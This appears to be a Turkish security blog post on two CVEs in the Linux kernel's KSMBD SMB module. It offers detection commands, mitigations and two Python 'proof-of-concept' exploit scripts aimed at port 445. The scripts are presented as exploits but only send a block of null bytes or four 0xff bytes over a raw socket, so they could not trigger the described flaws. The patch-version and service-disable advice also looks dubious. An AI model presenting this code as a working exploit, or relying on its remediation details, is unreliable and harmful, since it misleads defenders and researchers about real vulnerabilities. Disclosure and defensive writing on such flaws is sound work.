
Linux Kernel’in KSMBD modülü, performansı optimize etmeyi amaçlayan ve SMB sunucusu olarak çalışan bir bilesendir. Ancak, Eclypsium tarafından yapılan bir araştırmada KSMBD modülünde iki kritik güvenlik açığı tespit edilmiştir:
- CVE-2024-56626: İzin doğrulaması eksik olan
ksmbd_vfs_stream_write
fonksiyonu, bellek aşımına neden olarak sistem üzerinde kod çalıştırılmasına yol açabilir. - CVE-2024-56627: Negatif dosya ofseti işlemlerini kontrol etmeyen bu zafiyet, izinsiz bellek erişimlerine izin verebilir.
Etkilenen Sürümler ve Sistemler
Bu açıklar, KSMBD modülünün etkin olduğu 5.15 ve üzerindeki Linux Kernel sürümlerini etkiler. Etkilenen sistemlerde KSMBD varsayılan olarak yüklenmiş ve etkin olabilir.
Zafiyetleri Tespit Etmek için Kullanılabilecek Komutlar
KSMBD’nin Etkin Olup Olmadığını Kontrol Etme
ps aux | grep ksmbd
Çıktıda ksmbd.mountd
veya ksmbd
çalışıyorsa, KSMBD etkin olabilir.
Linux Kernel Sürümünü Kontrol Etme
uname -r
Çıktı 5.15 ve üzeri bir sürümse, sisteminiz etkilenebilir.
KSMBD Modülünün Yüklenmiş Olup Olmadığını Kontrol Etme
lsmod | grep ksmbd
Eğer ksmbd
çıktıda görünüyorsa, modül yüklüdür ve aktif olabilir.
Açık Portları Tespit Etmek için
KSMBD’nin kullandığı SMB portunun açık olup olmadığını doğrulamak için:
netstat -tuln | grep 445
Port 445 aktif görünüyorsa, SMB sunucusu çalışıyor olabilir.
Sömürülme (Exploit) Örnekleri
CVE-2024-56626 için PoC Kod Örneği
Bu zafiyet için, ksmbd_vfs_stream_write
fonksiyonunu hedefleyen bir PoC örneği:
import socket
# SMB bağlantısı kurulumu
HOST = 'hedef_ip_adresi'
PORT = 445
# Kötü amaçlı paket oluşturulması
payload = b"\x00" * 1024 # Bellek sınırlarını aşmaya çalışacak veri
# Bağlantı ve veri gönderimi
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.send(payload)
print("Payload gönderildi. Sistemi kontrol edin.")
Bu PoC, yalnızca güvenlik araştırmaları için verilmiştir. Üretim ortamlarında kullanılmamalıdır.
CVE-2024-56627 için Bellek Okuma Testi
Zafiyeti tetiklemek için negatif bir ofset sağlayarak belleğe izinsiz erişim yapılabilir:
import socket
HOST = 'hedef_ip_adresi'
PORT = 445
# Bellek okuma denemesi
exploit_packet = b"\xff\xff\xff\xff" # Negatif bir ofset örneği
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.send(exploit_packet)
data = s.recv(1024)
print(f"Okunan veri: {data}")
Zafiyetlerin Sömürüldüğünü Doğrulamak için Log Kontrolü
SMB sunucusunun davranışını doğrulamak için sistem günlüklerini kontrol edin:
dmesg | grep ksmbd
journalctl -u ksmbd
Anormal log çıktıları (örneğin, bellek taşması veya çekirdek panik mesajları) varsa sisteminiz savunmasız olabilir.
Çözüm ve Öneriler
KSMBD Modülünü Devre Dışı Bırakma
KSMBD modülünü kullanılmıyorsa, tamamen devre dışı bırakılabilir:
systemctl stop ksmbd
systemctl disable ksmbd
Kernel ve Yazılım Güncellemeleri
Linux Kernel’in en son yamalanmış sürümünü kurun (en az 5.15.135).
Ağ Erişim Kontrolü
SMB sunucusuna erişim, yalnızca yetkili cihazlarla sınırlandırılmalıdır.
Sonuç ve Öneriler
Bu açıklar, güvenlik açısından büyük riskler taşımaktadır ve acil aksiyon alınmasını gerektirir.
Öneriler:
- Kernel güncellemelerinin düzenli olarak yapılması,
- SMB portlarının erişim kontrol listeleriyle korunması,
- Sistem loglarının sürekli izlenmesi ve anormalliklerin raporlanması.
Birlikte Güvende Olalım!
#CyberSecurity #NetworkSecurity #LinuxKernel #Vulnerability #KSMBD #Exploit #CVE202456626 #CVE202456627 #SMB #KernelSecurity #ZeroDay